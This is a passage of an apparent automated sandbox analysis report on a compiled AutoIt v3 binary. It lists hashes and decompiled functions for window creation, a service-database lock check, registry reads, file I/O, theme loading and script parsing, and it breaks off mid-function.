Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: QueryValue$CloseOpen
String ID: Include$Software\AutoIt v3\AutoIt
API String ID: 1586453840-614718249
Opcode ID: 70f9e61d6ef5040af533da22991536095647e22e4d1208f30d7d1a73917e3834
Instruction ID: b48a81a50aa039b408972c8a3f5eebaa0834c66008617dc47bb7cf4a7d58a4dd
Opcode Fuzzy Hash: 70f9e61d6ef5040af533da22991536095647e22e4d1208f30d7d1a73917e3834
Instruction Fuzzy Hash: 7321A572B80208BBDB14DBB4DC46FAEB3BCAF54700F100659F606E71C0EAB5AA01A751

Uniqueness

Uniqueness Score: -1.00%

Function 00EF0350, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EF0350() {
				struct HWND__* _t2;
				struct HWND__* _t3;
				int _t6;

				_t2 = CreateWindowExW(0, L"AutoIt v3", L"AutoIt v3", 0xcf0000, 0x80000000, 0x80000000, 0x12c, 0x64, 0, 0,  *0xf77520, 0); // executed
				 *0xf77518 = _t2; // executed
				_t3 = CreateWindowExW(0, L"edit", 0, 0x50b008c4, 0, 0, 0, 0, _t2, 1,  *0xf77520, 0); // executed
				 *0xf77514 = _t3; // executed
				ShowWindow( *0xf77518, 0); // executed
				_t6 = ShowWindow( *0xf77518, 0); // executed
				return _t6;
			}

0x00ef0385
0x00ef03a9
0x00ef03ae
0x00ef03bf
0x00ef03c4
0x00ef03ce
0x00ef03d1

APIs

CreateWindowExW.USER32 ref: 00EF0385
CreateWindowExW.USER32 ref: 00EF03AE
ShowWindow.USER32(?,00000000), ref: 00EF03C4
ShowWindow.USER32(?,00000000), ref: 00EF03CE

Strings

edit, xrefs: 00EF03A2
AutoIt v3, xrefs: 00EF0379, 00EF037E

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 0a3fe778af6fbaaaf048a4148d96e3ed231aa5863ea3963be22994c3f744caac
Instruction ID: 4273cb0b8b5d4e1bcc270198cd2639adea5ce01b89a11240cd9c90aa486ac9b1
Opcode Fuzzy Hash: 0a3fe778af6fbaaaf048a4148d96e3ed231aa5863ea3963be22994c3f744caac
Instruction Fuzzy Hash: 63F0DA71BE53187AF630AB64AC43F523658A708F11F340416B708BF1E4D5E1B980ABDA

Uniqueness

Uniqueness Score: -1.00%

Function 00F12FD3, Relevance: 9.0, APIs: 6, Instructions: 33
serviceCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F12FD3() {
				void* _t1;
				void* _t3;
				void* _t9;
				void* _t11;

				_t9 = 0; // executed
				_t1 = OpenSCManagerW(0, 0, 8); // executed
				_t11 = _t1;
				if(_t11 == 0) {
					L6:
					return _t9;
				} else {
					_t3 = LockServiceDatabase(_t11); // executed
					if(_t3 == 0) {
						if(GetLastError() == 0x41f) {
							_t9 = 1;
						}
						CloseServiceHandle(_t11);
						goto L6;
					} else {
						UnlockServiceDatabase(_t3);
						CloseServiceHandle(_t11);
						return 1;
					}
				}
			}

0x00f12fdb
0x00f12fdd
0x00f12fe3
0x00f12fe7
0x00f13020
0x00f13023
0x00f12fe9
0x00f12fea
0x00f12ff2
0x00f13014
0x00f13016
0x00f13016
0x00f13019
0x00000000
0x00f12ff4
0x00f12ff5
0x00f12ffe
0x00f13008
0x00f13008
0x00f12ff2

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000008,00F890E8,14000000,00F0E1BD), ref: 00F12FDD
LockServiceDatabase.ADVAPI32(00000000), ref: 00F12FEA
UnlockServiceDatabase.ADVAPI32(00000000), ref: 00F12FF5
CloseServiceHandle.ADVAPI32(00000000), ref: 00F12FFE
GetLastError.KERNEL32 ref: 00F13009
CloseServiceHandle.ADVAPI32(00000000), ref: 00F13019

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Service$CloseDatabaseHandle$ErrorLastLockManagerOpenUnlock
String ID:
API String ID: 1690418490-0
Opcode ID: 23eadc6111184a55f3874e14da0f4429f27473f8f2e242a72f335b2c156885f8
Instruction ID: deb6b18fe58d307e025c0924c21e872bd7d5f85602bd9dac93b71b4706ffbac6
Opcode Fuzzy Hash: 23eadc6111184a55f3874e14da0f4429f27473f8f2e242a72f335b2c156885f8
Instruction Fuzzy Hash: E0E09231A83A247BD6611B246D1DBCB3F9CAB2E762F040003F221E2150CB99C949FBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EF06E0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 66
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EF06E0(short* __edx, char* __esi, void* _a4, short* _a8, intOrPtr _a12) {
				int _v8;
				void* _v12;
				int* _t19;
				long _t22;
				signed int _t27;
				int _t44;

				 *__esi = 0;
				_t19 = RegOpenKeyExW(_a4, __edx, 0, 1,  &_v12); // executed
				if(_t19 != 0) {
					return 0;
				} else {
					_t44 = _a12 + _a12;
					_v8 = _t44;
					_t22 = RegQueryValueExW(_v12, _a8, _t19, _t19, __esi,  &_v8); // executed
					if(_t22 != 0) {
						RegCloseKey(_v12);
						return 0;
					} else {
						_t27 = _v8 >> 1;
						_v8 = _t27;
						if(_t27 >= _a12) {
							 *((short*)(_t44 + __esi - 2)) = 0;
						} else {
							 *((short*)(__esi + _t27 * 2)) = 0;
						}
						RegCloseKey(_v12); // executed
						return 1;
					}
				}
			}

0x00ef06ef
0x00ef06f7
0x00ef06ff
0x00f05d8c
0x00ef0705
0x00ef0718
0x00ef071b
0x00ef071e
0x00ef0726
0x00ef0759
0x00ef0766
0x00ef0728
0x00ef072b
0x00ef072d
0x00ef0733
0x00f05d8f
0x00ef0739
0x00ef073b
0x00ef073b
0x00ef0745
0x00ef0752
0x00ef0752
0x00ef0726

APIs

RegOpenKeyExW.KERNELBASE(00000004,Control Panel\Mouse,00000000,00000001,00000004,00000004), ref: 00EF06F7
RegQueryValueExW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000002,00000000), ref: 00EF071E
RegCloseKey.KERNELBASE(?), ref: 00EF0745
RegCloseKey.ADVAPI32(?), ref: 00EF0759

Strings

Control Panel\Mouse, xrefs: 00EF06F5

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$OpenQueryValue
String ID: Control Panel\Mouse
API String ID: 1607946009-824357125
Opcode ID: 95c80941e0137ef08fdc7b6d7d720b4d16bdd91673f0604cd9457dd46d1806f3
Instruction ID: 201425a603dc6589b2830dca3f0096ecd506f03988c9f6020389f337e74c8bc6
Opcode Fuzzy Hash: 95c80941e0137ef08fdc7b6d7d720b4d16bdd91673f0604cd9457dd46d1806f3
Instruction Fuzzy Hash: CD118C76641108BFCB10DFA8EC449FFB7BCEF58300B10458AF918C3250E6719A11EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EF49DA, Relevance: 7.7, APIs: 5, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00EF49DA(char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t82;
				char _t89;
				signed int _t96;
				signed int _t98;
				signed int _t101;
				signed int _t104;
				signed int _t108;
				signed int _t109;
				char* _t110;
				signed int _t120;
				signed int _t123;
				signed int _t124;
				signed int _t125;
				signed int _t126;
				void* _t127;

				_t110 = _a4;
				_t108 = _a8;
				_t123 = _a12;
				_v12 = _t110;
				_v8 = _t108;
				if(_t123 == 0 || _a16 == 0) {
					L5:
					return 0;
				} else {
					_t131 = _t110;
					if(_t110 != 0) {
						_t126 = _a20;
						__eflags = _t126;
						if(_t126 == 0) {
							L9:
							__eflags = _t108 - 0xffffffff;
							if(_t108 != 0xffffffff) {
								_t82 = E00EF2E60(_t110, 0, _t108);
								_t127 = _t127 + 0xc;
							}
							__eflags = _t126;
							if(__eflags == 0) {
								goto L3;
							} else {
								__eflags = _a16 - (_t82 | 0xffffffff) / _t123;
								if(__eflags > 0) {
									goto L3;
								}
								L13:
								_t124 = _t123 * _a16;
								__eflags =  *(_t126 + 0xc) & 0x0000010c;
								_v20 = _t124;
								_t109 = _t124;
								if(( *(_t126 + 0xc) & 0x0000010c) == 0) {
									_v16 = 0x1000;
								} else {
									_v16 =  *((intOrPtr*)(_t126 + 0x18));
								}
								__eflags = _t124;
								if(_t124 == 0) {
									L40:
									return _a16;
								} else {
									do {
										__eflags =  *(_t126 + 0xc) & 0x0000010c;
										if(( *(_t126 + 0xc) & 0x0000010c) == 0) {
											L24:
											__eflags = _t109 - _v16;
											if(_t109 < _v16) {
												_t89 = E00EFD813(_t109, _t124, _t126);
												__eflags = _t89 - 0xffffffff;
												if(_t89 == 0xffffffff) {
													L45:
													return (_t124 - _t109) / _a12;
												}
												__eflags = _v8;
												if(_v8 == 0) {
													L41:
													__eflags = _a8 - 0xffffffff;
													if(__eflags != 0) {
														E00EF2E60(_a4, 0, _a8);
													}
													 *((intOrPtr*)(E00EF7E9A(__eflags))) = 0x22;
													L4:
													E00EF7E48();
													goto L5;
												}
												_v12 = _v12 + 1;
												 *_v12 = _t89;
												_t109 = _t109 - 1;
												_t65 =  &_v8;
												 *_t65 = _v8 - 1;
												__eflags =  *_t65;
												_v16 =  *((intOrPtr*)(_t126 + 0x18));
												goto L39;
											}
											__eflags = _v16;
											if(_v16 == 0) {
												_t96 = 0x7fffffff;
												__eflags = _t109 - 0x7fffffff;
												if(_t109 <= 0x7fffffff) {
													_t96 = _t109;
												}
											} else {
												__eflags = _t109 - 0x7fffffff;
												if(_t109 <= 0x7fffffff) {
													_t50 = _t109 % _v16;
													__eflags = _t50;
													_t120 = _t50;
													_t101 = _t109;
												} else {
													_t120 = 0x7fffffff % _v16;
													_t101 = 0x7fffffff;
												}
												_t96 = _t101 - _t120;
											}
											__eflags = _t96 - _v8;
											if(_t96 > _v8) {
												goto L41;
											} else {
												_push(_t96);
												_push(_v12);
												_push(E00EF4059(_t126)); // executed
												_t98 = E00EFDEEC(_t109, _t124, _t126, __eflags); // executed
												_t127 = _t127 + 0xc;
												__eflags = _t98;
												if(_t98 == 0) {
													 *(_t126 + 0xc) =  *(_t126 + 0xc) | 0x00000010;
													goto L45;
												}
												__eflags = _t98 - 0xffffffff;
												if(_t98 == 0xffffffff) {
													L44:
													_t72 = _t126 + 0xc;
													 *_t72 =  *(_t126 + 0xc) | 0x00000020;
													__eflags =  *_t72;
													goto L45;
												}
												_v12 = _v12 + _t98;
												_t109 = _t109 - _t98;
												_v8 = _v8 - _t98;
												goto L39;
											}
										}
										_t104 =  *(_t126 + 4);
										__eflags = _t104;
										if(__eflags == 0) {
											goto L24;
										}
										if(__eflags < 0) {
											goto L44;
										}
										_t125 = _t109;
										__eflags = _t109 - _t104;
										if(_t109 >= _t104) {
											_t125 = _t104;
										}
										__eflags = _t125 - _v8;
										if(_t125 > _v8) {
											goto L41;
										} else {
											E00EFDFE2(_v12, _v8,  *_t126, _t125);
											 *(_t126 + 4) =  *(_t126 + 4) - _t125;
											 *_t126 =  *_t126 + _t125;
											_v12 = _v12 + _t125;
											_t109 = _t109 - _t125;
											_t127 = _t127 + 0x10;
											_v8 = _v8 - _t125;
											_t124 = _v20;
										}
										L39:
										__eflags = _t109;
									} while (_t109 != 0);
									goto L40;
								}
							}
						}
						_t82 = (_t82 | 0xffffffff) / _t123;
						__eflags = _a16 - _t82;
						if(_a16 <= _t82) {
							goto L13;
						}
						goto L9;
					}
					L3:
					 *((intOrPtr*)(E00EF7E9A(_t131))) = 0x16;
					goto L4;
				}
			}

0x00ef49e2
0x00ef49e6
0x00ef49eb
0x00ef49ee
0x00ef49f1
0x00ef49f6
0x00ef4a12
0x00000000
0x00ef49fe
0x00ef49fe
0x00ef4a00
0x00ef4a19
0x00ef4a1c
0x00ef4a1e
0x00ef4a2c
0x00ef4a2c
0x00ef4a2f
0x00ef4a35
0x00ef4a3a
0x00ef4a3a
0x00ef4a3d
0x00ef4a3f
0x00000000
0x00ef4a41
0x00ef4a48
0x00ef4a4b
0x00000000
0x00000000
0x00ef4a4d
0x00ef4a4d
0x00ef4a51
0x00ef4a58
0x00ef4a5b
0x00ef4a5d
0x00ef4a67
0x00ef4a5f
0x00ef4a62
0x00ef4a62
0x00ef4a6e
0x00ef4a70
0x00ef4b50
0x00000000
0x00ef4a76
0x00ef4a76
0x00ef4a76
0x00ef4a7d
0x00ef4ac3
0x00ef4ac3
0x00ef4ac6
0x00ef4b25
0x00ef4b2b
0x00ef4b2e
0x00ef4b82
0x00000000
0x00ef4b88
0x00ef4b30
0x00ef4b34
0x00ef4b58
0x00ef4b58
0x00ef4b5c
0x00ef4b66
0x00ef4b6b
0x00ef4b73
0x00ef4a0d
0x00ef4a0d
0x00000000
0x00ef4a0d
0x00ef4b39
0x00ef4b3c
0x00ef4b41
0x00ef4b42
0x00ef4b42
0x00ef4b42
0x00ef4b45
0x00000000
0x00ef4b45
0x00ef4ac8
0x00ef4acc
0x00ef4aed
0x00ef4af2
0x00ef4af4
0x00ef4af6
0x00ef4af6
0x00ef4ace
0x00ef4ad5
0x00ef4ad7
0x00ef4ae4
0x00ef4ae4
0x00ef4ae4
0x00ef4ae7
0x00ef4ad9
0x00ef4adb
0x00ef4ade
0x00ef4ade
0x00ef4ae9
0x00ef4ae9
0x00ef4af8
0x00ef4afb
0x00000000
0x00ef4afd
0x00ef4afd
0x00ef4afe
0x00ef4b08
0x00ef4b09
0x00ef4b0e
0x00ef4b11
0x00ef4b13
0x00ef4b90
0x00000000
0x00ef4b90
0x00ef4b15
0x00ef4b18
0x00ef4b7e
0x00ef4b7e
0x00ef4b7e
0x00ef4b7e
0x00000000
0x00ef4b7e
0x00ef4b1a
0x00ef4b1d
0x00ef4b1f
0x00000000
0x00ef4b1f
0x00ef4afb
0x00ef4a7f
0x00ef4a82
0x00ef4a84
0x00000000
0x00000000
0x00ef4a86
0x00000000
0x00000000
0x00ef4a8c
0x00ef4a8e
0x00ef4a90
0x00ef4a92
0x00ef4a92
0x00ef4a94
0x00ef4a97
0x00000000
0x00ef4a9d
0x00ef4aa6
0x00ef4aab
0x00ef4aae
0x00ef4ab0
0x00ef4ab3
0x00ef4ab5
0x00ef4ab8
0x00ef4abb
0x00ef4abb
0x00ef4b48
0x00ef4b48
0x00ef4b48
0x00000000
0x00ef4a76
0x00ef4a70
0x00ef4a3f
0x00ef4a25
0x00ef4a27
0x00ef4a2a
0x00000000
0x00000000
0x00000000
0x00ef4a2a
0x00ef4a02
0x00ef4a07
0x00000000
0x00ef4a07

APIs

_memset.LIBCMT ref: 00EF4A35
_memcpy_s.LIBCMT ref: 00EF4AA6
__read.LIBCMT ref: 00EF4B09
__filbuf.LIBCMT ref: 00EF4B25

Part of subcall function 00EF7E9A: __getptd_noexit.LIBCMT ref: 00EF7E9A

_memset.LIBCMT ref: 00EF4B66

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_memcpy_s
String ID:
API String ID: 4048096073-0
Opcode ID: aab6084c32e67cab8a38e491f8e282013bf2e01b8cbd6436e29e8fe851f2c809
Instruction ID: 1387e7aa76efd678b84ce07e1685f2fa267692da5d031eee18f52c536f773d7d
Opcode Fuzzy Hash: aab6084c32e67cab8a38e491f8e282013bf2e01b8cbd6436e29e8fe851f2c809
Instruction Fuzzy Hash: AD51D4B1A0060CDBCB248FA988446BFB7B5AF40324F249669E635B71D1E370DE50DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00EEEE30, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EEEE30(struct HINSTANCE__** __esi) {
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t4;

				if(__esi[2] == 0) {
					_t3 = LoadLibraryA("uxtheme.dll"); // executed
					 *__esi = _t3;
					if(_t3 != 0) {
						_t4 = GetProcAddress(_t3, "IsThemeActive");
						__esi[2] = _t4;
						return _t4;
					}
				}
				return _t3;
			}

0x00eeee34
0x00eeee3b
0x00eeee41
0x00eeee45
0x00eeee4d
0x00eeee53
0x00000000
0x00eeee53
0x00eeee45
0x00eeee56

APIs

LoadLibraryA.KERNELBASE(uxtheme.dll,00EEEE15,00EED92E), ref: 00EEEE3B
GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 00EEEE4D

Strings

uxtheme.dll, xrefs: 00EEEE36
IsThemeActive, xrefs: 00EEEE47

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID: IsThemeActive$uxtheme.dll
API String ID: 2574300362-3542929980
Opcode ID: eba1a03d7409d2ca979b36e6e39853661fde3a9e2c5d88db96d8769a402ed550
Instruction ID: 4a744a4ecf2dd2ab980fa1e87659d7cae3d8577a63b2a65895b659868d8ad449
Opcode Fuzzy Hash: eba1a03d7409d2ca979b36e6e39853661fde3a9e2c5d88db96d8769a402ed550
Instruction Fuzzy Hash: B0D0C9B4900B4BDAD7301F22D80E60277E4BB10B49F105818E5A2A1360DBB5D484AA25

Uniqueness

Uniqueness Score: -1.00%

Function 00EF14F7, Relevance: 6.0, APIs: 4, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00EF14F7(void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr _v0;
				char _v8;
				char _v20;
				void* _t11;
				struct HINSTANCE__* _t12;
				struct HINSTANCE__* _t16;
				void* _t26;
				void* _t27;
				void* _t29;

				_t29 = __esi;
				_t27 = __edi;
				while(1) {
					_t11 = E00EF34DB(_t26, _t27, _t29, _a4); // executed
					if(_t11 != 0) {
						break;
					}
					_t12 = E00EF18A8(_a4);
					__eflags = _t12;
					if(_t12 == 0) {
						__eflags =  *0xf7664c & 0x00000001;
						if(( *0xf7664c & 0x00000001) == 0) {
							 *0xf7664c =  *0xf7664c | 0x00000001;
							__eflags =  *0xf7664c;
							_push(1);
							_v8 = "bad allocation";
							E00EF7EE3(0xf76640,  &_v8);
							 *0xf76640 = 0xf62a2c;
							E00EF122A( *0xf7664c, 0xf05b0e);
						}
						E00EF7FD2( &_v20, 0xf76640);
						_v20 = 0xf62a2c;
						E00EF8028( &_v20, 0xf6ce94);
						asm("int3");
						_t16 = GetModuleHandleW(L"mscoree.dll");
						__eflags = _t16;
						if(_t16 != 0) {
							_t16 = GetProcAddress(_t16, "CorExitProcess");
							__eflags = _t16;
							if(_t16 != 0) {
								return _t16->i(_v0);
							}
						}
						return _t16;
					} else {
						continue;
					}
					L11:
				}
				return _t11;
				goto L11;
			}

0x00ef14f7
0x00ef14f7
0x00ef150e
0x00ef1511
0x00ef1519
0x00000000
0x00000000
0x00ef1504
0x00ef150a
0x00ef150c
0x00ef151d
0x00ef152e
0x00ef1530
0x00ef1530
0x00ef1537
0x00ef153f
0x00ef1546
0x00ef1550
0x00ef1556
0x00ef155b
0x00ef1560
0x00ef156e
0x00ef1571
0x00ef1576
0x00ef1581
0x00ef1587
0x00ef1589
0x00ef1591
0x00ef1597
0x00ef1599
0x00000000
0x00ef159e
0x00ef1599
0x00ef15a1
0x00000000
0x00000000
0x00000000
0x00000000
0x00ef150c
0x00ef151c
0x00000000

APIs

_malloc.LIBCMT ref: 00EF1511

Part of subcall function 00EF34DB: __FF_MSGBANNER.LIBCMT ref: 00EF34F4
Part of subcall function 00EF34DB: __NMSG_WRITE.LIBCMT ref: 00EF34FB
Part of subcall function 00EF34DB: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00EF6A35,?,00000001,?,?,00EF8179,00000018,00F6D180,0000000C,00EF8209), ref: 00EF3520

std::exception::exception.LIBCMT ref: 00EF1546
std::exception::exception.LIBCMT ref: 00EF1560
__CxxThrowException@8.LIBCMT ref: 00EF1571

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID:
API String ID: 615853336-0
Opcode ID: 9d66c6d411d5fbd5f0f9610bb1b0e66872e2d29bfb79723a463c22f34e350e43
Instruction ID: 471d0ac88e3856aa53cf8376f60ee9978f64faf1438229d55275e81c0935bdd9
Opcode Fuzzy Hash: 9d66c6d411d5fbd5f0f9610bb1b0e66872e2d29bfb79723a463c22f34e350e43
Instruction Fuzzy Hash: DDF0287150050DEBDB24FFA4DC029BE3AE9AB80704F501099F605F61D2CBB1CF44AB82

Uniqueness

Uniqueness Score: -1.00%

Function 00EE2AB0, Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 463
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00EE2AB0(signed int __eax, void* __eflags, void* __fp0, signed int _a4, signed int _a8, char _a12) {
				signed int _v12;
				signed int _v14;
				short _v16;
				signed int _v24;
				long _v28;
				signed int _v32;
				long _v36;
				WCHAR* _v40;
				char __edi;
				signed int __esi;
				short* _t221;
				signed int* _t222;
				signed int _t226;
				signed int _t229;
				signed int _t230;
				intOrPtr _t231;
				void* _t238;
				signed int _t249;
				intOrPtr* _t252;
				signed int _t254;
				WCHAR* _t258;
				short _t266;
				signed int _t268;
				signed int _t285;
				void* _t295;
				intOrPtr _t302;
				signed int _t310;
				signed int _t321;
				signed int _t348;
				intOrPtr _t355;
				void* _t372;
				signed int _t376;
				WCHAR* _t377;
				void* _t394;
				signed int* _t395;
				signed int _t397;
				signed int _t398;
				signed int _t400;
				signed int _t402;
				long _t404;
				signed int _t412;
				void* _t415;
				void* _t417;
				void* _t448;

				_t448 = __fp0;
				_v16 = __eax | 0xffffffff;
				_t321 = 0;
				_v32 = 0x65;
				_push(_t394);
				_push(_t372);
				_v36 = 0;
				_push( ~(0 | __eflags > 0x00000000) | 0xca); // executed
				_t221 = E00EF14F7(_t372, _t394, __eflags); // executed
				_push(4);
				_v40 = _t221;
				 *_t221 = 0;
				_t222 = E00EF14F7(_t372, _t394, __eflags);
				_t417 = _t415 + 8;
				if(_t222 == 0) {
					_v28 = 0;
				} else {
					 *_t222 = 1;
					_v28 = _t222;
				}
				_t12 =  &_a12; // 0xee2749
				_t355 =  *_t12;
				if( *((intOrPtr*)(_t355 + 8)) <= _t321) {
					L8:
					_t20 =  &_a12; // 0xee2749
					 *( *_t20 + 8) = _t321;
					if( *_a8 == _t321) {
						L44:
						_t63 =  &_a12; // 0xee2749
						_v16 = 0x7f;
						_v24 = 0;
						_v14 = _t321;
						E00EE29B0( &_v24, 0x7f,  *_t63);
						_t395 = _v28;
						 *_t395 =  *_t395 - 1;
						__eflags =  *_t395;
						if( *_t395 == 0) {
							_push(_v40);
							E00EF10FC();
							_push(_t395);
							E00EF10FC();
						}
						_t226 = 0;
						__eflags = 0;
						L47:
						return _t226;
					} else {
						goto L9;
					}
					do {
						L9:
						_t331 = _a8;
						L10:
						_t229 =  *(_t331 + _t321 * 2) & 0x0000ffff;
						if(_t229 == 0x20 || _t229 == 9) {
							_t321 = _t321 + 1;
							goto L10;
						}
						_t230 =  *(_t331 + _t321 * 2) & 0x0000ffff;
						if(_t230 == 0) {
							break;
						}
						_t398 = _t230;
						_v12 = _t321;
						_v14 = _t321;
						if(_t398 >= 0x30) {
							__eflags = _t398 - 0x39;
							if(__eflags > 0) {
								goto L14;
							}
							L32:
							_t331 = _a8;
							_t359 =  &_v24;
							_t238 = E00EE33E0( &_v12, _a8,  &_v24, __eflags, _t448,  &_v24,  &_v40); // executed
							__eflags = _t238 - 1;
							if(_t238 != 1) {
								_t321 = _v12;
								__eflags = _t398 - 0x2e;
								if(__eflags != 0) {
									L15:
									if(_t398 >= 0x41) {
										__eflags = _t398 - 0x5a;
										if(__eflags > 0) {
											goto L16;
										}
										L57:
										_t360 = _a8;
										E00EE3290( &_v12, _a8, __eflags, _t448, _a8,  &_v24,  &_v40);
										__eflags = _v24 - 0xffffffff;
										if(_v24 == 0xffffffff) {
											E00F405C5(_t360, _t448, _a4, 0x138c, _v12);
											E00EE2480( &_v40);
											E00F2B3F5(__eflags,  &_v24);
											_t226 = 1;
											goto L47;
										} else {
											_t93 =  &_a12; // 0xee2749
											E00EE29B0( &_v24,  &_v24,  *_t93);
											_t321 = _v12;
											goto L41;
										}
									}
									L16:
									if(_t398 >= 0x61) {
										__eflags = _t398 - 0x7a;
										if(__eflags <= 0) {
											goto L57;
										}
									}
									if(_t398 == 0x5f) {
										goto L57;
									}
									_t249 = _t398;
									if(_t249 == 0x24) {
										_t321 = _t321 + 1;
										__eflags = _t321;
										E00EE3580( &_v40);
										_t376 =  *(_a8 + _t321 * 2) & 0x0000ffff;
										_t400 = _v36;
										while(1) {
											__eflags = _t376 - 0x5a;
											if(_t376 > 0x5a) {
												goto L51;
											}
											L50:
											__eflags = _t376 - 0x41;
											if(_t376 >= 0x41) {
												L53:
												_t252 = _v28;
												__eflags =  *_t252 - 1;
												if( *_t252 > 1) {
													 *_t252 =  *_t252 - 1;
													E00EE15E0( &_v40);
													_t402 = _v36;
